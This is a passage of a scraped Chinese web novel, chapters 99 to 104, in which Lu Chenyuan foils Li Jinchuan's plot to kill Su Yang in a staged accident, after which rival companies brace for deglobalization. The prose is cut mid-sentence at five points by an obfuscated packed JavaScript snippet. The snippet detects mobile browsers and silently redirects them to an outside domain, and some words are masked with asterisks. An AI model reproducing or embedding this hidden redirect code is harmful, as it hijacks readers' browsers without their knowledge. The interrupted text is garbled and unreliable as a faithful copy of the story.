苏阳，更应该只是一个可悲的、早就该死去的配角。 为什么？ 为什么会变成这样？ 他看着陆若溪和苏阳亲密无间的背影，眼中的偏执，化为了阴鸷的火焰。 温和的方式，已经无效。 他的“女主角”，被别人抢走了。 那么，他只能用更激烈的方式，去抢回来。 去毁掉这个……错误的现实。 …… 云顶壹号，顶层公寓。 陆沉渊正在厨房里，处理着刚送来的新鲜食材。 墨清漓坐在客厅的沙发上，用水墨屏翻看着一本财经杂志。 夕阳的余晖，透过巨大的落地窗洒了进来。 整个空间，安静而温馨。 突然，门铃响了。 陆沉渊有些意外，这个时间会是谁？ 母亲有钥匙，林远他们也不会不打招呼就过来。 墨清漓起身，走过去打开了门。 门外站着的人，是陆若溪。 “若溪？”墨清漓也很惊讶。 “清漓姐，大哥在吗？”陆若溪的脸色，看着似乎和平常没有什么两样。 不过，墨清漓能够感觉出来，今天的陆若溪有些不同寻常。 “在，快进来。”墨清漓连忙让她进来。 陆沉渊从厨房里探出头。 “若溪，你怎么来了？” 陆沉渊同样察觉出陆若溪的脸色有些不对，立刻放下手里的东西，洗了手，走了出来。 “出什么事了？”陆沉渊问。 “大哥。”陆若溪看着他，嘴唇动了动，似乎不知道该如何开口。 “坐下说。”陆沉渊指了指沙发。 他给她倒了一杯温水。 陆若溪捧着水杯，沉默了很久。 然后陆若溪说，“大哥，我想和你单独谈谈。” 墨清漓和陆沉渊都有些惊讶。 陆沉渊和墨清漓对视了一眼，墨清漓眼里没有任何不悦。 陆沉渊给了一个歉意的眼神，墨清漓则是回了一个安抚的眼神。 兄妹二人到了书房后，陆若溪将今天在论坛上发生的事，一五一十地告诉了陆沉渊。 她的叙述，依旧保持着一个科研工作者的客观和冷静。 没有情绪化的形容，只是陈述事实。 “……他说，他和我一样，记得另一个故事。” “他说，他会把错误的现实，修正过来。” “他的逻辑存在严重混乱，且表现出高度的攻击性和偏执倾向。” 说完，她抬起头，目光笔直地看向陆沉渊。 这一次，她的眼神里，不再是面对一个BUG时的冷静分析。 而是一种深深的，无法掩饰的困惑。 以及一丝，连她自己都未曾察觉的……恐惧。 “大哥。” 她叫他。 “我脑子里，也会出现一些奇怪的画面。” “画面里，有一个很像我的女孩。她很蠢，很爱哭，把一个男人当成全部。” “画面里，也有你。但那个你，让我觉得很陌生，很可怕。” “厉烬川的出现，让我确定，那些画面，可能不只是幻觉。” 陆若溪的声音，随着自己的讲述，开始有些微微发颤。 “所以……” 她深吸一口气，终于问出了那个盘踞在她心中的问题。 “大哥，你到底是谁？” 她的眼神里，没有仇恨，没有质问。 只有害怕。 害怕眼前这个，将她从泥潭中拉出来，为她撑起一片天空的大哥，会突然消失。 害怕自己现在所拥有的一切，都只是一个虚假的泡影。 书房里的空气，仿佛凝固了。 陆沉渊看着陆若溪。 看着她眼中的惶恐和依赖。 他知道，这个问题，迟早会来。 他没有回避，也没有长篇大论地去解释什么穿越、什么书中世界。 那太复杂，也太离奇。 陆沉渊只是平静地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348545|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她，然后，缓缓地笑了笑。 那笑容，一如既往的沉稳，带着让人心安的力量。 “若溪。” 他开口道，声音一如既往地温和，让人心安。 “古时候，有一个人叫庄周。他做了一个梦，梦见自己变成了一只蝴蝶。” “他在梦里飞得很开心，完全忘记了自己是庄周。” “等他醒来后，他很困惑。” “**，到底是庄周梦见了蝴蝶，还是蝴蝶梦见了庄周。” 他看着陆若溪的眼睛，一字一句地问： “你觉得，这重要吗？” 陆若溪愣住了。 庄周梦蝶。 蝶化庄周。 她当然知道这个典故。 “是庄周，还是蝴蝶，又有什么关系呢？”陆沉渊继续说道。 “重要的是，蝴蝶在梦里，体验了飞翔的快乐。” “庄周在醒来后，依旧过着自己的人生。” “那个愚蠢、爱哭、依附于别人的女孩，是蝴蝶的梦。” “而你，陆若溪，渊龙科技的首席科学家，你站在这里，你是真实的。这就够了。” “至于我……” 陆沉渊的笑容里，多了一丝坦然。 “我是你的大哥。这一点，永远不会变。” 他的话像一股温暖的溪流，缓缓淌过陆若溪混乱的心田。 是啊。 重要吗？ 自己是谁，大哥是谁，到底哪个是梦，哪个是现实…… 这些，真的重要吗？ 重要的是，她喜欢现在的人生。 她喜欢眼前的这个大哥。 这就够了。 她眼中的惶恐和迷茫，一点点褪去，重新变得清澈而坚定。 “我明白了，大哥。” 她释然地笑了。 那一刻，这一段时间以来，关于“前世”的梦魇的困扰，开始慢慢消散。 陆沉渊点点头，拿起手机。 “我给苏阳打个电话，让他过来一起吃饭。” 他拨通了电话。 “苏阳，来云顶壹号，若溪也在这儿。” 他的语气，自然得像是在叫一个家人。 陆若溪看着他，心里最后的一丝疑虑，也彻底消失了。 大哥不仅接受了她的现实，也接受了她的选择。 他尊重她。 始终如一。 第100章 重要的是，你是陆沉渊 兄妹二人很快从书房里出来。 陆沉渊重新系上围裙。 墨清漓很自然地走过去，帮他择菜。 两人没有过多的言语交流。 但一个递盘子，一个转身接住。 一个皱眉看着火候，另一个就默默调小了火力。 那种深入骨髓的默契和温情，让整个空间都变得温暖起来。 陆若溪坐在沙发上，看着他们。 她想起了自己记忆碎片里，那些歇斯底里的争吵，那些充满算计和背叛的“爱情”。 再看看眼前，陆沉渊和墨清漓之间，没有惊天动地的誓言，没有轰轰烈烈的痴缠。 只有一种成年人之间，克制的、相互尊重的，却又无比坚韧的感情。 是伙伴，是战友，更是家人。 这，才是好的感情。 这，才是她向往的，真实的世界。 半小时后，苏阳来了。 他的手里，还提着一份甜品。 “若溪说清漓姐喜欢吃这家店的芒果班戟，我路过就带了一份。”苏阳有些不好意思地解释道。 “你有心了。”墨清漓笑着接过来。 饭菜很快上桌。 四个人，围坐在一起。 就像一家人。 他们聊着“女娲”模型的下一步优化方向，聊着苏阳最近遇到的一个编程难题，聊着墨清漓刚刚看中的一个新能源项目。 没有人再提厉烬川。 仿佛那只是一个小小的程序错误，已经被修复，不值一提。 吃完饭，陆沉渊对苏阳说： “厉烬川这个人，行事没有底线。接下来的日子，你和若溪，尽量不要落单。” “我会安排安保人员，24小时跟着你们。” 送走了陆若溪和苏阳。 公寓里，又恢复了宁静。 陆沉渊和墨清漓默契地一起清理完餐厅和厨房。 二人并肩站在巨大的落地窗前，俯瞰着脚下这座流光溢彩的城市。 “你不问问我吗？”陆沉渊先开了口。 他的声音很轻，像是怕惊扰了这份宁静。 “问什么？”墨清漓侧过头看他。 “问若溪和我说了什么。问我到底是谁。”陆沉渊说。 墨清漓反应过来了，她想起这个男人时不时就会提的起乡下生活和见闻。 想起这个男人会的各种稀奇古怪的技能。 想起这个男人堪比五星大厨一般的烹饪技能和匪夷所思的生僻食谱。 墨清漓笑了笑，摇了摇头。 “你是谁，不重要。” “重要的是，你在这里。” “重要的是，你是陆沉渊。” “阿渊。” “嗯？” “认识你真好。”她把脸埋在他的胸前上，轻声说道。 她只相信自己亲眼所见，亲手所触碰的真实。 眼前的这个男人，就是她的真实。 陆沉渊心中一暖。 他伸出手，将她揽入怀中。 他什么也没说。 只是低头，吻住了她的唇。 不知道为什么，一向清冷而克制的陆沉渊，今日却似乎极有攻击性。 对墨清漓也格外缠绵。 陆沉渊的吻温柔而热烈，又带着小心翼翼的珍视。 他的手掌轻轻摩挲着墨清漓的后背，动作轻柔得仿佛在触碰一件易碎的珍宝。 陆沉渊的热情也点燃了墨清漓。 墨清漓环住他的脖颈，踮起脚尖，主动加深了这个吻，唇齿间流转着的，是不言而喻的眷恋与深情。 不知过了多久，陆沉渊缓缓松开她，额头抵着她的额头，两人的呼吸交织在一起。 陆沉渊低哑的声音里，似乎有些刻意的压抑：“去休息吧。” 说着，他弯腰将墨清漓打横抱起，朝着卧室走去。 房间里，暖黄的壁灯散发着柔和的光晕，将两人的身影映照在墙上。 陆沉渊轻轻地把墨清漓放在铺着柔软床单的大床上，然后在床边坐下，伸手拂去她额前凌乱的发丝。 他的目光中情绪翻滚，又似乎想要强制镇静，想要起身。 墨清漓伸手拉住他的衣角，微微仰头，眼中闪烁着盈盈笑意，轻声说：“不许走。” 陆沉渊的镇静瞬间崩塌，嘴角扬起一抹缱绻的笑意，应了声“好”。 ………… …… 窗外，夜色渐浓。 …… 第二天，渊龙科技，顶层办公室。 “陆总，厉烬川像一条疯狗。”张奇冷峻地说道，“逼急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348546|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，会不顾一切地咬人。” “那就拔掉他的牙，锁上他的嘴。”今天陆沉渊的眼神，显得格外冰冷。 “我会让他明白，时代变了。” “匹夫之勇，在这个时代，是最无用的东西。” 然后陆沉渊直接对张奇下来命令， “启动最高级别的监控协议。” “目标，厉烬川。” “明白。” “另外，以苏阳和陆若溪为中心，建立一个动态防御圈。安保团队24小时轮班，所有进出研究院的可疑人员和车辆，全部进行背景筛查。” “记住，我们的目的，不是阻止他犯罪。”陆沉渊的声音，没有一丝温度。 “而是要在他实施犯罪的那一刻，将他所有的新账旧账，打包成一份无法辩驳的铁证，递到相关部门手里。” “厉烬川，该落幕了。” 张奇的心，猛地一跳。 “我明白了，陆总。” “这张法网，我会亲自盯着，确保万无一失。” 安排完这些，陆沉渊站在办公室，看着窗外，久久没有动。 …… 科技论坛上陆若溪的拒绝，在厉烬川看来，已经不是考验。 而是一种背叛。 是对他这个“天命主角”的背叛。 他心中的恨意，不再只针对陆沉渊。 苏阳。 这个名字，像一根毒刺扎在他的心上。 必须除掉他。 只要苏阳消失，陆若溪就会“清醒”，剧情就会回到正轨。 厉烬川从自己地住所出来，感觉阳光有些刺眼。 厉烬川却感觉自己充满了前所未有的力量。 他没有回秦氏集团。 那个地方，已经成了他的耻辱柱。 他要组建自己的力量。 用他“觉醒”的记忆，去收拢那些本该属于他的势力。 他打了一辆车，去了一个地方。 城西，一个破败的台球厅。 这里是三教九流的**地。 他凭着记忆，找到了一个正在打台球的男人。 男人三十多岁，左脸颊上有一道狰狞的刀疤，眼神凶狠。 这个男人，就是厉烬川重建原本就应该属于他的帝国的第一枚棋子！ 第101章 “主角”最后的疯狂 这个三十多岁的男人叫黑豹，是这一带有名的混混头子。 最近，他正因为一桩旧案，被有关部门盯上了。 而他自己，还懵然不知。 厉烬川走过去，直接开口道， “黑豹？” 黑豹抬起头，不善地看着这个穿着西装，与这里格格不入的男人。 “你谁啊？” “一个能救你命的人。”厉烬川的脸上，带着一种神秘莫测的微笑。 “今晚九点，条子会来抄你的场子。东门和后巷都有人。” “唯一的生路，是三楼厕所的通风管道。” 黑豹的同伴们，都哄笑起来，像是在看一个疯子。 黑豹却笑不出来。 他盯着厉烬川的眼睛，试图看出些什么。 “我凭什么信你？” “你不用信我。”厉烬川转身就走。 “你只需要在九点零五分的时候，想起我的话。” 他丢下一句话，消失在门口。 当天晚上，黑豹虽然将信将疑，但是在江湖上多年打滚的警觉，还是让他去做了一些准备。 九点整。 大量的警车，无声地包围了台球厅。 行动迅速，势如雷霆。 黑豹的心，瞬间沉到了谷底。 他来不及多想，按照厉烬川说的话，从三楼厕所的通风管道，狼狈地爬了出去。 当他躲在街角的垃圾桶后面，看着自己的手下一个个被铐走时，浑身都被冷汗浸透了。 那个男人……是神仙吗？ 第二天，厉烬川再次找到了黑豹。 这一次，黑豹的态度，一百八十度大转弯。 他像看神明一样，看着厉烬川。 “大哥，您到底是什么人？” “我是能带你走上巅峰的人。”厉烬川淡淡地说。 他利用记忆里的碎片信息，又点出了几件只有黑豹核心圈子才知道的秘辛。 这一下，黑豹彻底服了。 他将自己仅剩的几个亡命之徒，全部召集起来，交给了厉烬川。 在这些人面前，厉烬川将自己包装成一个拥有未卜先知能力的“先知”。 每一次预言的成功，都让他更加坚信自己的“天命”。 他彻底沉浸在这种掌控别人生死的感觉里。 他开始利用秦氏新能源总经理的最后一点职权，挪用资金。 他开始驱使黑豹这群人，策划一场针对苏阳的，“完美”的意外。 他要用最血腥，最直接的方式，修正这个错误的世界。 然而，厉烬川所不知道的是，他自以为隐秘的每一次接触，每一次指令，每一次资金流动。 都在一张无形的大网中，被清晰地记录、分析、存档。 …… 渊龙科技，地下三层。 这里是整栋大楼的安保指挥中心。 巨大的弧形屏幕上，数据流如同瀑布般刷新。 屏幕的正中央，是一个以苏阳和陆若溪为核心的实时动态地图。 他们的位置、路线、周围环境的风险评估，都以可视化的形式呈现。 “女娲”的算力，被调动了一部分，专门用于这个动态防御系统。 张奇面无表情地站在屏幕前。 一名分析员正在汇报。 “报告张特助。目标厉烬川，在过去48小时内，已与11名有犯罪前科人员建立联系。头目，陈虎，外号黑豹。” “资金来源已查明，系挪用秦氏新能源项目款项，共计三百万元。” “根据‘女娲’模型推演，目标正在策划一场针对苏阳先生的**。大概率是交通意外。” 屏幕上，弹出了几套模拟方案。 货车失控、连环追尾、高空坠物…… 每一种方案下面，都标注着成功率、风险等级，以及可能的执行时间和地点。 “……锁定三套最高概率方案。执行地点，均指向滨河大道高架桥路段。” “时间，明早八点三十五分，是苏阳先生送陆若溪小姐上班的必经时间。” “所有涉案人员、车辆信息、行动细节，均已捕获。” 张奇听完汇报，眼神没有一丝波澜。 所有的一切，都在陆总的预料之中。 他拿起内部通讯电话，拨给了陆沉渊。 “陆总，鱼已经入网。网也已经备好。” 电话那头，传来陆沉渊平静的声音。 “通知有关部门。” “启动‘清扫计划’。” “行动代号，拂晓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348547|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是。”张奇放下电话。 他转身，面对着整个指挥中心的全员。 “‘拂晓’行动，现在开始。” 他的声音，冰冷而高效。 “记住我们的目标。” “不是阻止一场**。” “而是利用这场未遂的**，将所有藏在阴沟里的老鼠，连同他们的罪证，一网打尽，全部送到阳光下暴晒。” 指挥中心内，所有人都行动起来。 键盘敲击声，指令传达声，交织成一曲肃杀的交响乐。 一场针对厉烬川的、全方位的绞杀局，正式拉开了序幕。 …… 第二天清晨，阳光正好。 苏阳开着他的“无距”新能源车，载着陆若溪，像往常一样前往研究院。 车里放着轻柔的古典乐。 陆若溪正在看平板上的数据。 苏阳专注地开着车。 一切都和往日，没有任何不同。 他们不知道。 在他们前方五公里的滨河大道入口。 一辆伪装成环卫车的警用指挥车里，一名指挥官正对着通讯器，冷静地下令。 “……目标车辆已进入预定区域。各单位注意，准备行动。” 一辆本该在几分钟后“失控”冲向苏阳的大货车，在距离高架桥入口三百米的地方，被几辆警车以“涉嫌**”为由，逼停在路边。 司机还没反应过来，就被特警按倒在地。 高架桥上方。 两个伪装成维修工人的**，正准备将一块巨大的水泥块推下。 他们刚刚探出头，就被从天而降的特警队员，死死地控制住。 另一条岔路上。 黑豹亲自坐镇的一辆面包车，正准备制造连环追尾。 车子刚一启动，就被前后四辆黑色轿车死死夹住。 车门拉开，下来的是一群面无表情、身穿黑色西装的安保人员。 他们不是警方的人员。 但他们身上的气势，比警方的人员更令人胆寒。 黑豹甚至没来得及拔出怀里的刀，就被一只铁钳般的大手，扼住了喉咙。 所有的危险，都在距离苏阳和陆若溪数公里之外，被精准、高效、无声地化解。 第102章 落幕 一辆“无矩”白色车在路上继续行驶着。 车里，苏阳安静地开着车，陆若溪则安静地看着平板上的一个难题。 当苏阳开着车，平稳地驶过滨河大道高架桥时，阳光洒在陆若溪的脸上，她正好解开了一道困扰她一晚的难题，露出了一个浅浅的微笑。 她和苏阳，都未曾察觉到。 就在刚才，他们与一场精心策划的死亡，擦肩而过。 …… 与此同时，在京州的另一角，国贸顶层的一家咖啡馆里。 厉烬川坐在靠窗的位置，优雅地端着一杯蓝山咖啡。 他看着窗外，脸上带着胜券在握的微笑。 他在等一个电话，一个宣告苏阳死讯的电话。 他已经想好了，等消息传来，他要如何以一个“悲痛的朋友”的身份，去接近和安慰陆若溪。 他甚至已经准备好了台词。 随着时间的流逝，他的手机，终于响了。 来电显示，是一个陌生的号码。 厉烬川接起电话，嘴角的笑容愈发得意。 “喂？” 电话那头，传来的却不是黑豹的声音。 而是一个冰冷的，不带任何感情的官方声音。 “是厉烬川先生吗？我们是京州南城区第九重案组。你涉嫌策划并主谋一起故意**案，以及多起商业犯罪，请你待在原地，不要动，配合我们的调查。” 厉烬川的笑容，瞬间就僵在脸上。 咖啡杯从他手中滑落，摔在地上，四分五裂。 “不……不可能！” “你们是谁？你们搞错了！” 他还没来得及再说第二句话，咖啡馆的门就被推开。 几名身穿制服、神情严肃的相关部门的人员，径直向他走来。 为首的人，亮出了证件。 随后，他身后的同时掏出一副冰冷的**，铐住了厉烬川的手腕。 “不！这不是真的！剧本不是这样的！” 厉烬川终于崩溃了。 他疯狂地挣扎着，嘴里不停地嘶吼着。 “我是主角！你们不能抓我！你们都是NPC！” “放开我！我要去修正世界！” 厉烬川的癫狂引来了所有客人的侧目。 人们像看疯子一样，看着这个衣冠楚楚，却举止失常的男人。 相关部门的人员没有理会他的胡言乱语，强行将他带离了咖啡馆。 当厉烬川被押进警车的那一刻，他看到了天空，看到了阳光。 但他却感觉，自己正在坠入一个无底的深渊。 那个他信奉的“天命”，在冰冷的现实面前，碎得连渣都不剩。 …… 审讯室里，灯光惨白。 厉烬川被铐在椅子上，依旧在喃喃自语。 “你们错了……这一切都错了……” 负责审讯的人员，从业二十年，第一次见到这样的嫌疑人。 证据确凿，人赃并获。 但他就是不认罪，反复说着一些谁也听不懂的疯话。 就在审讯陷入僵局时，一名年轻的工作人员，抱着一个厚厚的档案箱，走了进来。 “李队，市局刚刚收到一份匿名举报材料，用最高加密通道发来的。” “里面……是关于厉烬川的所有犯罪证据。” 被称作李队的人，皱起了眉头。 他打开档案箱。 里面是堆积如山的资料。 银行流水、转账记录、通话录音、合同副本、证人证词…… 从厉烬川初入职场时做的第一笔商业间谍行为，到后来操纵市场、**，再到最近的挪用**、蓄意**。 每一桩，每一件，都证据确凿，形成了完美的闭环。 其详尽程度，比他们警方几个月调查出来的，还要多上十倍。 仿佛有一个无所不知的上帝，将厉烬川的人生，做成了一份详尽的犯罪报告，直接递到了他们面前。 李队倒吸一口凉气。 他看向厉烬川的眼神都变了。 这个人，不是疯子。 他是一个被一张看不见的大网，**于股掌之上的可悲的猎物。 而织网的人，其能量已经超出了他的想象。 “把他所有的罪名，都给他念念。”李队对着手下说。 “让他清醒清醒，看看他所谓的‘剧本’，到底是谁写的。” 数罪并罚，等待厉烬川的，将是看不见尽头的牢狱之灾。 一代原书主角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348548|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，在他“觉醒”的短短几天后，还没来得及掀起任何风浪，就此如一粒微尘，在新的时代里，被彻底清扫干净。 …… 秦氏集团，顶层办公室。 秦雅看着秘书刚刚送来的简报。 简报上，清楚地写着厉烬川被捕，以及后续牵出的一系列惊天大案。 秦雅的脸上没有任何意外，甚至没有一丝波澜。 只有一种意料之中的，索然无味。 她当初选中厉烬川，是看中了他身上那股不择手段的狠厉。 她以为他是一把能饮血的快刀。 却没想到，他只是一块生了锈的钝铁，稍微遇到一点真正的阻力就碎了。 甚至愚蠢到，会留下这么多致命的把柄。 这已经不是能力问题了。 这是智商问题。 秦雅拿起手机，调出厉烬川的联系方式，然后，干脆利落地按下了删除键。 对她来说，这只是一笔失败的投资。 及时止损，是商人的基本素养。 她没有，也永远不会，动用秦家的任何力量，去为一个废子活动。 甚至，连再见他一面的兴趣都没有。 这时，她的私人手机响了。 屏幕上跳动着一个阳光灿烂的名字：皇甫城逝。 秦雅的嘴角，不自觉地微微上扬。 她接起电话。 “雅姐姐！我们的‘锋芒一号’，第一个月的收益率，跑赢了大盘十个点！”电话那头，传来少年兴奋又骄傲的声音。 “是吗？不错。”秦雅的语气，也轻快了几分。 “那……为了庆祝，今晚可以一起吃饭吗？”少年小心翼翼地，带着一丝期待地问。 秦雅看了一眼窗外。 夕阳正好，金色的光辉，为这座城市镀上了一层温暖的颜色。 “好啊。”她笑着说。 ………… 厉烬川的“觉醒”和落幕，像一颗石子投入湖中。 激起了一丝丝的涟漪，但是很快就平息了。 对京州这个庞大的都市来说，一个人的消失无足轻重。 但对某些人而言，这意味着一个时代的彻底终结。 也意味着，一个新时代的开启。 第103章 未雨绸缪 渊龙科技，最高层会议室。 今天会议室内的气氛严肃。 能坐在这里的，只有陆沉渊、林远、任茜和张奇四人。 这是渊龙科技最核心的决策圈。 陆沉渊的手指，在桌面上轻轻敲击。 “厉烬川，只是一个开始。” 他的开场白，让其余三人心头一凛。 “他代表的，是一种旧的思维模式。” “依靠信息差，依靠人脉关系，依靠不择手段的狠厉。” “这种模式，正在被淘汰。” 陆沉渊环视三人。 “未来的战争，是科技的战争，是标准的战争，是整个产业链的战争。” 他的目光，最终落在任茜身上。 “任茜。” “在，陆总。”任茜立刻坐直身体。 “我准备成立一家全新的公司，名字叫‘汗青科技’。” “你来担任汗青科技的总裁。” “同时，升任渊龙科技联席CEO，和林远一起，负责集团的日常运营。” 任茜愣住了。 “陆总，我……” “我相信你的能力。”陆沉渊打断了她。 “汗青科技的目标，不是盈利。” “它的唯一目标，是基础科学研究，是人才引进和培养。” “我要你用十年，甚至更长的时间，不计成本，去啃最硬的骨头。” “芯片设计、光刻技术、底层算法……” “我只有一个要求。”陆沉渊的声音，变得无比严肃。 “汗青科技，必须在组织架构、资金来源、知识产权上，做好随时与渊龙科技完全剥离的准备。” “它是一艘方舟。为了应对可能到来的，最坏的时代。” 会议室里，一片寂静。 林远和任茜都明白了陆沉渊话里的深意。 那是一种超越了商业竞争的，深不见底的忧虑。 对未来全球格局的，一种悲观预测。 “我明白了，陆总。”任茜深吸一口气，眼神变得无比坚定。 “保证完成任务。” 陆沉渊点点头，又看向林远。 “林远，你也要成立一家全新的公司，叫‘连山科技’。” “连山的目标，和汗青完全相反。” “我要求你，用尽一切办法，最大限度地融入、匹配、绑定现有的全球供应链。” “我们要成为全球产业链中，最不可或缺的一环。” 林远瞬间领悟。 汗青，是底牌，是退路。 连山，是武器，是壁垒。 一个为最坏的情况做准备，一个在最好的时代里野蛮生长。 “我明白。两手准备，内外兼修。”林远说。 “很好。”陆沉渊很满意。 最后，他的目光转向张奇。 “张奇。” “陆总。” “你不再是我的特别助理。” “我需要你站到前台来。” “渊龙科技将成立战略与公共事务部，由你负责。” “对接官方，研究政策，处理集团最高级别的法律和合规事务。” “汗青和连山的计划，需要一个稳固的大后方。你就是这个后方的定海神针。” 张奇沉默了片刻。 他知道，这个职位意味着什么。 他将从陆沉渊的影子，变成渊龙科技的盾牌。 “陆总放心。”他沉声说，“我会守好这条线。” 陆沉渊站起身。 “计划，今天开始启动。” “记住，我们的动作要低调，但决心要坚定。” “去忙吧。” 三人起身，对他点了点头，离开了会议室。 …… 墨氏集团，总裁办公室。 墨清漓挂断电话，脸上有一丝凝重，也有一丝安宁。 电话是陆沉渊打来的，他说渊龙已经开始了， 所以，墨氏集团，也可以开始了。 她走到巨大的落地窗前，看着窗外的车水马龙。 片刻后，她按下了内线电话。 “通知所有核心高管，半小时后，召开最高级别战略会议。” 半小时后。 墨氏集团的会议室里，气氛同样严肃。 墨清漓坐在主位，神情冷静。 “今天会议的主题，只有一个。” “制定集团的‘逆全球化’风险预案。” 此言一出，满座皆惊。 一位资深副总忍不住开口：“墨总，现在全球贸易正处在黄金时期，谈这个，是不是……太早了？” “早？”墨清漓笑了笑。 “未雨绸缪，永远不嫌早。” “我要求，从今天起，集团所有关键业务，都必须建立备用供应链方案。” “所有海外核心资产，必须进行风险评估和剥离预案。” “成立专项基金，用于投资国内可替代的技术和供应商。” 她的指令，清晰、果断，不容置疑。 虽然墨清漓在墨氏集团里，一直以来都有绝对的话语权，但是今天的决策实在是超出所有人的想象。 所以，在墨清漓宣布决定后，和以往大家一致认同并马上去执行的情况不同，会议室里居然响起了不少反对的声音。 “墨总，这样做成本太高了。会严重影响我们今年的利润。” “这完全是杞人忧天。没有任何迹象表明全球化会**。” 即使那些没有出声的高管，眼神里似乎也流露着怀疑。 就在这时，会议室的门被推开，墨振邦走了进来。 众人看到墨振邦进来时，明显一愣。 墨振邦虽然还挂着墨氏集团董事长的名头，但是，这几年，所有的决策，几乎都是出自墨清漓之手。 然而，今年能够坐在这个会议室里的人，几乎都是经历过墨振邦铁血时代的人。 当墨振邦扫视全场时，无形的压力让整个会议室瞬间鸦雀无声。 他走到墨清漓的左手位，拉开椅子坐下，然后淡淡地开口。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348549|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们继续，我就是在家里待得骨头有些发霉了，出来随便转转。” 墨振邦话是怎么说，但是，经历过墨清漓**阶段的老人们，可都还记得当初的墨振邦是如何的一个“女儿奴”。 今天这个“太上皇”又重新出山，难道还能是来给底下的高管撑腰的不成？ 所以，墨振邦话音落下，整个会议室更是鸦雀无声。 之后的会议，顺利按照墨清漓的方案推进，直到会议结束。 当众人都退出会议室后，墨清漓才喊了一声，“爸。” 墨清漓看向父亲，眼神里不再是女王的凌冽，而是涌起暖意。 “放手去做吧。”墨振邦看着女儿，眼神里满是信任和骄傲。 “墨家，输得起。但不能没有远见。” 墨氏集团这部庞大的机器，也开始为了一个看似遥远的未来，悄然转向。 …… 秦氏集团。 秦雅看着手中的几份报告，眉头微蹙。 一份是关于厉烬川案的后续影响。 秦氏新能源的股价，受到了轻**击，但很快稳住。 另一份，是远方基金会的季度报告。 陆芊芊做得很好，项目影响力越来越大。 最后一份，是市场情报部门的密报。 关**龙科技和墨氏集团近期的内部人事调动和资金流向。 很微小的变化，但秦雅却从中嗅到了一丝不寻常的味道。 她想起了“风驰”项目失败。 那一次，她输给了陆沉渊的“天枢OS”。 输给了她看不懂的技术生态。 这一次，她又感觉到了那种熟悉的，被时代抛在身后的恐慌感。 陆沉渊和墨清漓，这两个她最大的竞争对手，似乎又在谋划着什么她看不懂的布局。 “他到底想做什么？”秦雅喃喃自语。 她没有像墨清漓那样，拥有来自陆沉渊的直接信息。 但作为一个顶级的操盘手，她有自己的判断。 她回想起上次与陆芊芊的会面。 那个女孩，谈论的不再是名牌包和派对，而是贫困地区的饮水和教育。 她又想起皇甫城逝。 他用代码和模型，在资本市场里掀起风浪。 这些人，都代表着一种新的力量。 秦雅忽然明白了什么。 她或许看不懂陆沉渊的具体战略。 但她看懂了趋势。 她拿起电话，拨给了自己的助理。 “给我联系A洲最大的那家锂矿公司，我要和他们的老板通话。” “另外，成立一个战略研究小组，不用管业务，专门研究全球地缘**和科技封锁的可能性。” “预算，无上限。” 她不知道这样做对不对。 但直觉告诉她，跟着陆沉渊的脚步走，就算不能登顶，也至少不会在下一个浪潮来临时，被拍死在沙滩上。 就像风驰项目，就算是一个失败的项目，依然因为跟着陆沉渊入局够早，而占据了一席之地。 第104章 时间的河 京州的秋天，很短暂。 仿佛只是一夜之间，杏树的叶子就落尽了。 世界在变，变得很快，快到很多人都看不明白。 渊龙科技的战略转向，墨氏集团的风险预案，秦氏集团的资源布局。 